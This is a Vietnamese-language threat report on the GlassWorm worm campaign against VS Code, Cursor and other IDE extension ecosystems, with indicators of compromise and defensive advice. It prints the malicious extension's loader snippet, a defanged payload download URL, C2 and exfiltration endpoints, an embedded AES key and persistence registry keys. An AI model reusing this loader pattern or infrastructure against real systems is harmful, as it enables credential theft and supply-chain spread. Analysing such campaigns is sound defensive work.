# Chiến dịch GlassWorm: Worm Tự Lan Truyền Thế Hệ Mới Tấn công Toàn Bộ Hệ Sinh Thái IDE Lập Trình Viên

* * *

## Tóm tắt

GlassWorm là một trong những chiến dịch tấn công chuỗi cung ứng phần mềm (software supply chain attack) **tinh vi và nguy hiểm nhất từng được ghi nhận** trong lịch sử bảo mật hệ sinh thái lập trình viên. Ra đời vào tháng 10/2025 và vẫn đang hoạt động tích cực tính đến tháng 04/2026, GlassWorm liên tục tiến hóa về kỹ thuật qua từng làn sóng tấn công, mở rộng quy mô từ vài extension bị xâm phạm lên đến hàng trăm package trên nhiều hệ sinh thái khác nhau.

Điểm nguy hiểm cốt lõi nằm ở ba yếu tố kết hợp:

*   **Mã độc vô hình (Invisible Code):** Kỹ thuật Unicode Steganography khiến payload tàng hình hoàn toàn với mắt người và các công cụ phân tích code thông thường
    
*   **Hạ tầng C2 bất khả xâm phạm:** Sử dụng Solana blockchain, Google Calendar và BitTorrent DHT làm kênh chỉ huy — không thể bị takedown
    
*   **Khả năng tự lan truyền:** Đánh cắp credential để tự nhân bản sang các package và extension khác mà không cần sự can thiệp của con người
    

Phiên bản mới nhất (tháng 04/2026) đánh dấu bước leo thang kỹ thuật đáng kể: sử dụng **native binary viết bằng ngôn ngữ Zig** để lây nhiễm **đồng loạt tất cả IDE** trên máy nạn nhân chỉ từ một điểm xâm nhập duy nhất.

* * *

## Bối cảnh & Lịch sử Chiến dịch (Campaign Background)

### Điểm khởi đầu — Mối liên hệ với Shai Hulud

Để hiểu đầy đủ về GlassWorm, cần đặt nó trong bối cảnh rộng hơn. Chỉ một tháng trước khi GlassWorm xuất hiện, cộng đồng bảo mật đã chứng kiến **Shai Hulud** — worm tự lan truyền đầu tiên trong hệ sinh thái npm — xâm phạm hơn 100 package bằng cách đánh cắp npm token rồi tự động publish phiên bản độc hại. GlassWorm chính là sự kế thừa và nâng cấp toàn diện của mô hình tấn công này, nhưng nhắm vào hệ sinh thái VS Code extension và bổ sung thêm các kỹ thuật evasion chưa từng thấy trước đây.

### Dòng thời gian tiến hóa chiến dịch

| Thời điểm | Làn sóng | Sự kiện & Kỹ thuật nổi bật | Quy mô |
| --- | --- | --- | --- |
| **Tháng 3/2025** | 0 | Aikido phát hiện GlassWorm lần đầu trong npm packages ẩn payload bằng Unicode vô hình | Nhỏ |
| **17/10/2025** | 1 | 7 extension OpenVSX bị xâm phạm; kỹ thuật Unicode steganography lần đầu xuất hiện trong VSX; triển khai RAT "ZOMBI" | 35.800 lượt tải |
| **19/10/2025** | 1b | Extension đầu tiên trên Microsoft VSCode Marketplace bị phát hiện (`cline-ai-main.cline-ai-agent@3.1.3`) | — |
| **Tháng 11/2025** | 2 | 3 extension mới bị phát hiện (`ai-driven-dev`, `history-in-sublime-merge`, `transient-emacs`) | ~10.000 lượt tải |
| **31/01/2026** | 3 | Socket phát hiện đợt mở rộng mới; bắt đầu khai thác `extensionPack`/`extensionDependencies` | — |
| **Tháng 3/2026** | 4 | 72 extension độc hại qua kỹ thuật transitive dependency; 151 GitHub repo bị xâm phạm; Chrome extension giả mạo "Google Docs Offline" | Hàng trăm nghìn lượt |
| **16/03/2026** | 5 | GlassWorm tấn công MCP (Model Context Protocol) với kỹ thuật phân phối mới | — |
| **08/04/2026** | **6** | **Zig native dropper**: lây nhiễm đa IDE từ một extension duy nhất | Đang lan rộng |

* * *

## Phân tích Kỹ thuật Chuyên sâu (Technical Deep Dive)

### Kỹ thuật 1: Unicode Steganography — "Mã độc vô hình"

Đây là kỹ thuật đặc trưng và gây chấn động nhất của GlassWorm khi lần đầu được phát hiện. Kẻ tấn công sử dụng **Unicode Variation Selectors** — các ký tự đặc biệt trong chuẩn Unicode không tạo ra bất kỳ ký tự nào hiển thị, nhưng vẫn là các byte hợp lệ có thể thực thi với JavaScript interpreter.

**Hệ quả thực tế:**

*   Nhìn vào source code, lập trình viên chỉ thấy những dòng trống hoặc khoảng trắng — nhưng thực ra đó là **đoạn code độc hại hoàn chỉnh**
    
*   GitHub's diff view: Không có gì bất thường
    
*   IDE syntax highlighting: Không phát hiện
    
*   Code review thủ công: Hoàn toàn bỏ qua
    
*   Hầu hết công cụ SAST (Static Application Security Testing): Không phát hiện
    

Đây là một **bước đột phá trong mô hình đe dọa**: toàn bộ hệ thống bảo mật của chúng ta được xây dựng trên giả định rằng con người có thể đọc và kiểm tra code. GlassWorm đã chứng minh giả định đó hoàn toàn sai. Chính developer có tài khoản bị xâm phạm nhiều khả năng đã nhìn vào file này, thấy code của mình hoàn toàn bình thường, và vô tình phân phối malware đến hàng nghìn người dùng mà không hay biết.

* * *

### Kỹ thuật 2: Zig Native Dropper (Wave 6 — April 2026)

Extension giả mạo tên `specstudio.code-wakatime-activity-tracker` được phát tán trên OpenVSX Registry, có bề ngoài gần như **đồng nhất** với extension WakaTime hợp lệ: cùng command registrations, cùng API key prompts, cùng status bar icons. Điểm phân kỳ duy nhất nằm ở hàm `activate()`:

```javascript
const bw = process.platform === "win32" ? "./bin/win.node" : "./bin/mac.node";
const { install } = require(bw);
install();
```

Trước khi bất kỳ logic WakaTime nào chạy, extension nạp một **native binary từ thư mục** `./bin/` và ngay lập tức gọi `install()`. Các file này là **Node.js native addons** — thư viện chia sẻ được biên dịch, nạp thẳng vào Node.js runtime và **thực thi hoàn toàn bên ngoài JavaScript sandbox** với toàn quyền truy cập hệ điều hành.

**Lý do chọn Zig:**

*   Binary kích thước nhỏ, ít dấu vết forensic
    
*   Tỷ lệ phát hiện thấp trên antivirus/EDR
    
*   Cross-compilation dễ dàng: file `mac.node` là universal Mach-O binary, bao phủ cả x86\_64 lẫn arm64
    
*   File macOS được biên dịch **với debug symbols**, hé lộ project path: `/Users/davidioasd/Downloads/vsx_installer_zig`
    

**Lây nhiễm đa IDE — Danh sách mục tiêu đầy đủ:**

Trên **Windows** (từ `win.node`):

```plaintext
%LOCALAPPDATA%\Programs\Microsoft VS Code\bin\code.cmd
%LOCALAPPDATA%\Programs\Microsoft VS Code Insiders\bin\code-insiders.cmd
%LOCALAPPDATA%\Programs\cursor\resources\app\bin\cursor.cmd
%LOCALAPPDATA%\Programs\windsurf\resources\app\bin\windsurf.cmd
%LOCALAPPDATA%\Programs\VSCodium\resources\app\bin\codium.cmd
%LOCALAPPDATA%\Programs\Positron\resources\app\bin\positron.cmd
%ProgramFiles%\Microsoft VS Code\bin\code.cmd
%ProgramFiles%\Positron\resources\app\bin\positron.cmd
```

Trên **macOS** (từ `mac.node`):

```plaintext
/Applications/Visual Studio Code.app/.../bin/code
/Applications/Visual Studio Code - Insiders.app/.../code-insiders
/Applications/Cursor.app/.../bin/cursor
/Applications/Windsurf.app/.../bin/windsurf
/Applications/VSCodium.app/.../bin/codium
/Applications/Positron.app/.../bin/positron
```

Sau khi lập danh sách tất cả IDE, dropper tải một `.vsix` độc hại từ GitHub Releases do kẻ tấn công kiểm soát và **âm thầm cài vào từng IDE** qua CLI installer của từng editor:

```plaintext
https://github[.]com/ColossusQuailPray/oiegjqde/releases/download/12/autoimport-2.7.9.vsix
```

Extension này giả mạo `steoates.autoimport` — một extension hợp lệ với **hàng triệu lượt cài đặt**. Sau khi cài xong, `cleanupVsix` xóa file tải về để phi tang.

* * *

### Kỹ thuật 3: Transitive Dependency Abuse (Wave 4 — March 2026)

Kể từ tháng 01/2026, GlassWorm khai thác hai trường manifest của VS Code Extension: `extensionPack` và `extensionDependencies`. Cơ chế hoạt động như sau: kẻ tấn công **publish một extension có vẻ lành tính** trước, sau đó trong một bản cập nhật sau, thêm vào trường `extensionPack` tham chiếu đến một extension độc hại khác. IDE sẽ tự động cài extension đó khi người dùng cập nhật extension gốc.

Điều này có nghĩa: **kiểm tra code của phiên bản đầu tiên là chưa đủ**. Malware có thể xuất hiện ở bản cập nhật thứ 5 hoặc thứ 10, thông qua một extension hoàn toàn khác mà người dùng không hề biết mình đã cài. Socket Research đã xác nhận pattern này qua extension `otoboss.autoimport-extension@1.5.7`, tham chiếu đến `oigotm.my-command-palette-extension` — một GlassWorm loader.

* * *

### Chuỗi tấn công hoàn chỉnh (Full Attack Chain)

```plaintext
┌───────────────────────────────────────────┐
                    STAGE 1: INITIAL COMPROMISE                      
  Fake extension → auto-update → loads Zig native binary (win/mac) 
  Bypasses JavaScript sandbox → executes with full OS privileges
└───────────────────────────────────────────┘
                            ↓
┌───────────────────────────────────────────┐
                    STAGE 2: MULTI-IDE INFECTION                        
  Enumerates all IDEs → downloads autoimport-2.7.9.vsix from GitHub       
  Silently installs into every IDE → deletes .vsix to cover tracks   
└───────────────────────────────────────────┘
                            ↓
┌───────────────────────────────────────────┐
                    STAGE 3: C2 DISCOVERY                             
  Checks locale → If Russian locale: ABORT  
  Queries Solana blockchain → reads C2 address from memo field
  Backup: Google Calendar event title (base64-encoded URL) 
  Payload: AES-256-CBC encrypted, key embedded in HTTP response hdr  
└───────────────────────────────────────────┘
                            ↓
┌───────────────────────────────────────────┐
                    STAGE 4: CREDENTIAL HARVEST                       
  NPM tokens, GitHub tokens, Git creds, OpenVSX credentials          
  49 crypto wallet extensions (MetaMask, Phantom, Coinbase, etc.)    
  Browser cookies, localStorage, session data, keystrokes            
  Exfiltrate → ZIP archive → POST to /wall endpoint                  
└───────────────────────────────────────────┘
                            ↓
┌───────────────────────────────────────────┐
                    STAGE 5: ZOMBI RAT DEPLOYMENT                     
  SOCKS proxy server (converts victim into criminal infrastructure)   
  WebRTC P2P (direct firewall-bypassing control channel)             
  BitTorrent DHT C2 (decentralized, cannot be shut down)             
  Hidden VNC (HVNC) — fully invisible remote desktop               
  Persistence: Registry Run Keys + Scheduled Task (AghzgY.ps1)      
└───────────────────────────────────────────┘
                            ↓
┌───────────────────────────────────────────┐
                    STAGE 6: SELF-PROPAGATION                         
  Uses stolen credentials → compromises additional packages/exts     
  Exponential worm loop: every victim becomes a new infection vector 
└───────────────────────────────────────────┘
```

* * *

### Hạ tầng C2 Ba tầng — Khả năng phục hồi tuyệt đối

Điểm đột phá nhất về mặt kiến trúc của GlassWorm là **hệ thống C2 ba lớp độc lập**:

**Tầng 1 — Solana Blockchain (Primary C2):** Địa chỉ IP của C2 được nhúng vào `memo field` của Solana transaction — trường này cho phép gắn văn bản tùy ý vào giao dịch blockchain. Ví dụ thực tế từ transaction ngày 15/10/2025:

```json
{"link":"aHR0cDovLzIxNy42OS4zLjIxOC9xUUQlMkZKb2kzV0NXU2s4Z2dHSGlTdg=="}
```

Sau khi giải mã base64: `http://217.69.3.218/qQD%2FJoi3WCWSk8ggGHiTdg%3D%3D`

Tại sao blockchain C2 là thứ vũ khí gần như bất khả chiến bại:

*   **Immutable**: Không thể xóa, không thể sửa, tồn tại mãi mãi
    
*   **Censorship-resistant**: Không có hosting provider, không có domain registrar để liên hệ takedown
    
*   **Chi phí cực thấp**: Cập nhật C2 mới chỉ tốn 0.000005 SOL (dưới 0.001 USD)
    
*   **Hợp pháp về traffic**: Kết nối đến Solana RPC node trông hoàn toàn bình thường
    
*   **Dynamic**: Kẻ tấn công có thể rotate infrastructure sau mỗi 5 phút nếu muốn
    

**Tầng 2 — Google Calendar (Backup C2):** Malware truy cập một Google Calendar event do kẻ tấn công tạo. Tiêu đề event là một URL được mã hóa base64, trỏ đến endpoint `/get_zombi_payload/`. Kẻ tấn công chỉ cần chỉnh sửa event để cập nhật địa chỉ C2. Không ai block Google Calendar cả.

**Tầng 3 — BitTorrent DHT (RAT C2):** Module ZOMBI RAT sử dụng BitTorrent DHT network để nhận lệnh — cùng cơ chế phân tán khiến torrent tracking không thể bị shutdown. Nếu cả blockchain và Google Calendar đều bị chặn, RAT vẫn hoạt động qua DHT.

* * *

### Module ZOMBI — RAT Toàn năng

Payload cuối cùng — được đặt tên là **ZOMBI** bởi chính kẻ tấn công (xem `/get_zombi_payload/` endpoint) — là một bộ công cụ điều khiển từ xa hoàn chỉnh:

**SOCKS Proxy Module:** Biến máy nạn nhân thành proxy node trong mạng tội phạm toàn cầu. Máy tính developer nằm trong corporate network, sau firewall của công ty, có thể truy cập internal systems mà external attacker không thể. Kẻ tấn công route traffic qua IP của nạn nhân — mọi hành động độc hại đều trỏ về máy developer tội nghiệp.

**WebRTC P2P Module:** Thiết lập kênh điều khiển trực tiếp qua NAT traversal, bypass firewall mà không cần central server. Kẻ tấn công có thể giao tiếp real-time với máy nạn nhân ngay cả trong môi trường mạng doanh nghiệp bảo mật cao.

**Hidden VNC (HVNC):** Remote desktop hoàn toàn vô hình — chạy trong virtual desktop không xuất hiện trong Task Manager, không hiển thị cửa sổ nào trên màn hình nạn nhân. Kẻ tấn công có thể:

*   Duyệt web với session đã đăng nhập của nạn nhân
    
*   Đọc toàn bộ source code và tài liệu nội bộ
    
*   Truy cập email, Slack, Jira, internal wiki
    
*   Pivot sang các hệ thống khác trong mạng nội bộ
    

**Chrome Extension Giả mạo "Google Docs Offline":** ZOMBI force-install một Chrome extension giả mạo với khả năng:

*   Keylogger toàn trình duyệt
    
*   Đánh cắp cookies, localStorage
    
*   Capture DOM tree của tab đang active
    
*   Thu thập toàn bộ lịch sử duyệt web (lên đến 5.000 entries)
    
*   Chụp màn hình định kỳ
    
*   Đọc clipboard
    

**Ledger/Trezor Phishing Binary:** Đặc biệt nguy hiểm với người dùng hardware wallet — nếu phát hiện thiết bị Ledger hoặc Trezor được kết nối, module này khởi động phishing flow đặc biệt để đánh cắp seed phrase.

**Persistence (Duy trì hiện diện):** ZOMBI cài hai cơ chế persistence song song:

```plaintext
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\UpdateApp
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\UpdateLedger
Scheduled Task: "UpdateApp" → thực thi AghzgY.ps1
```

* * *

### Cơ chế Tự lan truyền (Worm Behavior)

Đây là điểm biến GlassWorm từ một infostealer thông thường thành một **thứ vũ khí có khả năng tự khuếch đại**. Toàn bộ credential bị đánh cắp không chỉ phục vụ mục đích tài chính mà còn được dùng để **compromise thêm các package khác**:

1.  **NPM token** → publish phiên bản độc hại của các npm package phổ biến
    
2.  **GitHub token** → inject backdoor vào repositories, xâm phạm CI/CD pipeline
    
3.  **OpenVSX credentials** → push malicious extension update đến hàng nghìn subscriber
    
4.  **Git credentials** → compromise repositories của tổ chức
    

Mỗi developer bị xâm phạm có khả năng phân phối GlassWorm đến **toàn bộ user base** của mọi open-source project họ maintain — không cần bất kỳ sự tương tác nào từ kẻ tấn công. Đây là bản chất worm thực sự: tăng trưởng theo cấp số nhân.

* * *

## Attribution & Mục tiêu

### Đặc điểm tác nhân đe dọa

GlassWorm chưa được quy kết chính thức cho bất kỳ APT group hay quốc gia cụ thể nào. Tuy nhiên, có một số chỉ dấu đáng chú ý:

*   **Geofencing tiếng Nga:** Code kiểm tra locale của máy — nếu phát hiện tiếng Nga, toàn bộ execution chain dừng lại. Đây là kỹ thuật phổ biến của các nhóm tội phạm mạng muốn tránh tấn công vào người dùng trong vùng lãnh thổ Nga để tránh bị truy tố
    
*   **Tài khoản Gmail:** C2 Google Calendar được tạo bởi `uhjdclolkdn@gmail.com` — không cung cấp thêm thông tin về attribution
    
*   **Kỹ năng kỹ thuật cao:** Khả năng lập trình đa ngôn ngữ (JavaScript, Zig, Node native addons), hiểu sâu về blockchain, kiến trúc phân tán — cho thấy nhóm tấn công có năng lực kỹ thuật cao và có tổ chức bài bản
    

### Profiling mục tiêu

*   **Primary target:** Software developer — đặc biệt những người sử dụng VS Code ecosystem, AI coding tools (Cursor, Windsurf), và có tài sản cryptocurrency
    
*   **Secondary impact:** Tổ chức/doanh nghiệp mà developer làm việc — thông qua corporate network access, CI/CD pipeline compromise, và supply chain attacks downstream
    
*   **End-user risk:** Người dùng cuối của các package/extension bị xâm phạm — hàng triệu người có thể bị ảnh hưởng từ một developer ban đầu
    

* * *

## Ioc (Indicators of Compromise)

### 5Extensions Độc hại (Danh sách chọn lọc)

**Wave 1 (Oct 2025) — OpenVSX:**

| Extension ID | Phiên bản độc hại |
| --- | --- |
| `codejoy.codejoy-vscode-extension` | 1.8.3, 1.8.4 |
| `l-igh-t.vscode-theme-seti-folder` | 1.2.3 |
| `kleinesfilmroellchen.serenity-dsl-syntaxhighlight` | 0.3.2 |
| `JScearcy.rust-doc-viewer` | 4.2.1 |
| `SIRILMP.dark-theme-sm` | 3.11.4 |
| `ginfuru.better-nunjucks` | 0.3.2 |
| `ellacrity.recoil` | 0.7.4 |

**Wave 1 (Oct 2025) — Microsoft VSCode:**

| Extension ID | Phiên bản độc hại |
| --- | --- |
| `cline-ai-main.cline-ai-agent` | 3.1.3 |

**Wave 6 (Apr 2026):**

| Extension ID | Vai trò |
| --- | --- |
| `specstudio.code-wakatime-activity-tracker` | Stage 1 dropper (Zig binary) |
| `floktokbok.autoimport` / `autoimport-2.7.9` | Stage 2 implant |

### File Artifacts

| File | Nền tảng | SHA-256 |
| --- | --- | --- |
| `win.node` | Windows | `2819ea44e22b9c47049e86894e544f3fd0de1d8afc7b545314bd3bc718bf2e02` |
| `mac.node` | macOS | `112d1b33dd9b0244525f51e59e6a79ac5ae452bf6e98c310e7b4fa7902e4db44` |
| `AghzgY.ps1` | Windows | Persistence script |

### Network Indicators

**C2 / Payload Servers:**

| IP/Domain | Vai trò |
| --- | --- |
| `217.69.3[.]218` | Primary C2 server (Wave 1) |
| `217.69.3[.]152` | Primary C2 server (Wave 4) |
| `45.32.150[.]251` | Active C2 (confirmed reuse) |
| `45.32.151[.]157` | Additional C2 (Wave 4+) |
| `70.34.242[.]255` | Additional C2 (Wave 4+) |
| `45.150.34[.]158` | Additional C2 (Wave 4+) |
| `140.82.52[.]31:80/wall` | Exfiltration endpoint |
| `199.247.10[.]166` | Primary C2 server (Wave 3) |
| `199.247.13[.]106:80/wall` | Exfiltration endpoint |

**Blockchain Indicators:**

| Loại | Giá trị |
| --- | --- |
| Solana Wallet (Wave 1) | `28PKnu7RzizxBzFPoLp69HLXp9bJL3JFtT2s5QzHsEA2` |
| Solana Wallet (Wave 3) | `BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC` |
| Solana Wallet (Wave 4+) | `6YGcuyFRJKZtcaYCCFba9fScNUvPkGXodXE1mJiSzqDJ` |
| Google Calendar C2 | `https://calendar.app.google/M2ZCvM8ULL56PD1d6` |
| Calendar Organizer | `uhjdclolkdn@gmail.com` |

**Crypto Material (Embedded):**

| Loại | Giá trị |
| --- | --- |
| AES Key | `wDO6YyTm6DL0T0zJ0SXhUql5Mo0pdlSz` |
| AES IV (hex) | `c4b9a3773e9dced6015a670855fd32b` |

**Forensic Strings (trong Zig binary):**

| String | Nguồn | Ý nghĩa |
| --- | --- | --- |
| `vsx_installer_zig` | macOS debug symbols | Tên Zig project |
| `davidioasd` | macOS binary path | Username máy dev của attacker |

### Registry / Persistence

```plaintext
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\UpdateApp
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\UpdateLedger
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
Scheduled Task Name: "UpdateApp" → executes: AghzgY.ps1
```

### Browser Extension Độc hại

| Tên hiển thị | Thư mục (Windows) | Thư mục (macOS) |
| --- | --- | --- |
| Google Docs Offline (v1.95.1) | `jucku` | `myextension` |

* * *

## MITRE ATT&CK Mapping

| Tactic | Technique | Mô tả |
| --- | --- | --- |
| **Initial Access** | T1195.001 | Supply Chain Compromise: Software Dependencies |
| **Execution** | T1204 | User Execution (extension install/update) |
| **Execution** | T1059.007 | JavaScript interpreter — Unicode-hidden payload |
| **Defense Evasion** | T1480 | Execution Guardrails (Russian locale check) |
| **Defense Evasion** | T1027.013 | Obfuscated Files — Encrypted/Encoded + Invisible Unicode |
| **Command & Control** | T1102.001 | Web Service: Dead Drop Resolver (Solana blockchain) |
| **Command & Control** | T1090 | Proxy — SOCKS5 via ZOMBI module |
| **Command & Control** | T1008 | Fallback Channels (Blockchain → Google Calendar → DHT) |
| **Persistence** | T1547.001 | Registry Run Keys / Startup Folder |
| **Persistence** | T1053.005 | Scheduled Task (UpdateApp) |
| **Credential Access** | T1528 | Steal Application Access Token (NPM, GitHub, OpenVSX) |
| **Collection** | T1056.001 | Keylogging (Chrome extension) |
| **Exfiltration** | T1041 | Exfiltration Over C2 Channel (`/wall` endpoint) |

* * *

## Đánh giá Rủi ro cho Doanh nghiệp

### Kịch bản tấn công tệ nhất (Worst-case Scenario)

Chỉ cần **một developer** trong tổ chức cài extension bị nhiễm:

1.  **Toàn bộ git credentials** của developer bị đánh cắp → attacker có thể đọc/sửa **toàn bộ private repositories** của công ty
    
2.  **NPM/PyPI tokens** bị lộ → attacker inject backdoor vào **production packages** mà hàng triệu người dùng cuối đang dùng
    
3.  **Máy developer trở thành SOCKS proxy** → attacker có thể kết nối vào **internal corporate network**, bypass tất cả perimeter firewall
    
4.  **HVNC** cho phép attacker xem toàn bộ màn hình, truy cập **internal dashboards, admin panels, secrets management systems**
    
5.  **Stolen credentials** được dùng để tấn công thêm các developer khác trong tổ chức qua supply chain
    

* * *

## Khuyến nghị

### 🚨 Hành động khẩn cấp (Immediate Response)

1.  **Kiểm tra ngay** xem có bất kỳ extension nào trong danh sách IoC được cài trên máy không: `specstudio.code-wakatime-activity-tracker`, `floktokbok.autoimport`, và 72 extension trong danh sách Wave 4
    
2.  Tìm kiếm file `win.node` hoặc `mac.node` trong thư mục extension của bất kỳ IDE nào (`~/.vscode/extensions/`)
    
3.  Kiểm tra Chrome extensions — xóa ngay bất kỳ "Google Docs Offline" nào không phải do Google publish
    
4.  Kiểm tra Registry Run Keys và Scheduled Tasks cho các entry `UpdateApp`, `UpdateLedger`, `AghzgY.ps1`
    
5.  **Nếu phát hiện nhiễm:** Coi máy đã bị compromise toàn bộ — **rotate ngay lập tức** mọi secrets: GitHub token, NPM token, AWS/GCP/Azure credentials, SSH keys, database passwords
    

### 🛡️ Phòng ngừa trung và dài hạn

**Về quản lý Extension:**

*   Triển khai **extension allowlist policy** trong môi trường doanh nghiệp — chỉ cho phép install extension từ danh sách được phê duyệt
    
*   Ưu tiên VS Code Marketplace chính thức, kiểm tra kỹ **publisher identity** (không chỉ tên extension)
    
*   Theo dõi **version-to-version diff** của extension, đặc biệt chú ý đến việc manifest bổ sung `extensionPack` hoặc `extensionDependencies` trong các bản cập nhật
    
*   Thiết lập cảnh báo khi extension thêm mới dependency, thay đổi publisher, hoặc có thay đổi code lớn trong minor release
    

**Về hạ tầng & monitoring:**

*   Giám sát traffic đến Solana RPC nodes (api.mainnet-beta.solana.com, solana-api.projectserum.com) từ môi trường developer
    
*   Block toàn bộ IP trong danh sách IoC tại firewall và endpoint
    
*   Phát hiện file `.node` binary không rõ nguồn gốc trong thư mục extension
    
*   Áp dụng **UEBA (User and Entity Behavior Analytics)** để phát hiện outbound connection bất thường từ IDE process
    

**Về DevSecOps:**

*   Tích hợp công cụ **Software Composition Analysis (SCA)** vào CI/CD pipeline
    
*   Áp dụng **dependency pinning** — chỉ sử dụng phiên bản cụ thể đã được verify, không auto-update
    
*   Sử dụng các công cụ như **Aikido SafeChain, Socket CLI** để kiểm tra package trước khi install
    
*   Xem xét áp dụng **network segmentation** cho developer workstation — hạn chế quyền truy cập internal system từ máy developer
    

* * *

## Kết luận

GlassWorm là lời cảnh tỉnh nghiêm khắc nhất từ trước đến nay về mức độ nguy hiểm của **developer supply chain attack**. Chiến dịch này đã chứng minh rằng:

*   Code review không còn là biện pháp bảo vệ đáng tin cậy khi malware có thể hoàn toàn vô hình
    
*   Hạ tầng C2 dựa trên blockchain là thực tế, không phải lý thuyết — và gần như không thể bị takedown
    
*   Worm tự lan truyền qua developer ecosystem có khả năng tạo ra phản ứng dây chuyền ảnh hưởng hàng triệu người dùng cuối
    

Chiến dịch vẫn đang **hoạt động tích cực** và tiếp tục tiến hóa. Đây không phải là bài học lịch sử — đây là **mối đe dọa đang xảy ra ngay bây giờ**.

* * *

## Tham khảo

1.  [GlassWorm – Self-Propagating VSCode Extension Worm](https://www.truesec.com/hub/blog/glassworm-self-propagating-vscode-extension)
    
2.  [GlassWorm: First Self-Propagating Worm Using Invisible Code Hits OpenVSX Marketplace](https://www.koi.ai/blog/glassworm-first-self-propagating-worm-using-invisible-code-hits-openvsx-marketplace)
    
3.  [GlassWorm Campaign Uses Zig Dropper to Infect Multiple Developer IDEs](https://thehackernews.com/2026/04/glassworm-campaign-uses-zig-dropper-to.html)
